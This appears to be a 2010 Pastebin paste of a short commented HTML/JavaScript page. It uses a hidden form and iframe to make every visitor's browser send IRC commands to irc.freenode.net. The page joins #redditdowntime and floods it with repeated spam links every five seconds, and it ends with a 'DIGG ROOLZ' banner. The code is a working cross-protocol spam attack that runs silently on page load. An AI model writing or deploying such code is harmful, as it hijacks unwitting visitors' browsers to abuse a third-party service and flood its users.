Share Pastebin
Guest
Public paste!

mkosmo

By: a guest | Jan 27th, 2010 | Syntax: JavaScript | Size: 1.71 KB | Hits: 577 | Expires: Never
This paste has a previous version, view the difference. Copy text to clipboard
  1. <iframe id="y" name="y" style="display:none"></iframe>
  2.  
  3. <form method="post" target="y" action="http://irc.freenode.net:6667/" enctype="text/plain" id="f" style="display:none">
  4.     <textarea name="x" id="x"></textarea>
  5. </form>
  6.  
  7. <script type="text/javascript">
  8.     /*
  9.      * Generate a random string of characters to use for an IRC nick
  10.      */
  11.     function rnd(){
  12.         var chars="abcdefghijklmnopqrstuvwxyz";
  13.         var r='';
  14.         var length=Math.floor(Math.random()*10+3);
  15.         for (var i=0;i<length;i++){
  16.             var rnum=Math.floor(Math.random() * chars.length);
  17.             r += chars.substring(rnum, rnum+1);
  18.         }
  19.         return r;
  20.     }
  21.     function lol(){
  22.         /* Grab a reference to the textarea */
  23.         var x = document.getElementById('x');
  24.         /* Grab a reference to the form itself */
  25.         var f = document.getElementById('f');
  26.         /* Generate a fake user-name */
  27.         var i = rnd();
  28.         /* Generate a fake nick */
  29.         var n = rnd();
  30.  
  31.         /*
  32.          * Build a series of IRC commands into a string:
  33.          *   - Set the username
  34.          *   - Set the nick
  35.          *   - Join the channel to spam (#redditdowntime)
  36.          *   - Queue up a bunch of PRIVMSG commands to the channel with the spam link
  37.          */
  38.         x.value='\r\nUSER '+i+' 8 * :'+n+'\r\nNICK '+n+'\r\nJOIN #redditdowntime\r\n'+new Array(99).join('PRIVMSG #redditdowntime :http://bit.ly/lolreddit\r\n')+'';
  39.  
  40.         /* Submit the form, effectively sending the textarea contents to an IRC server */
  41.         f.submit();
  42.  
  43.         /* Setup a loop for maximum irritation */
  44.         setTimeout(lol, 5000);
  45.     }
  46.     lol();
  47. </script>
  48. <h1>DIGG ROOLZ! REDDIT DROOLZ!</h1>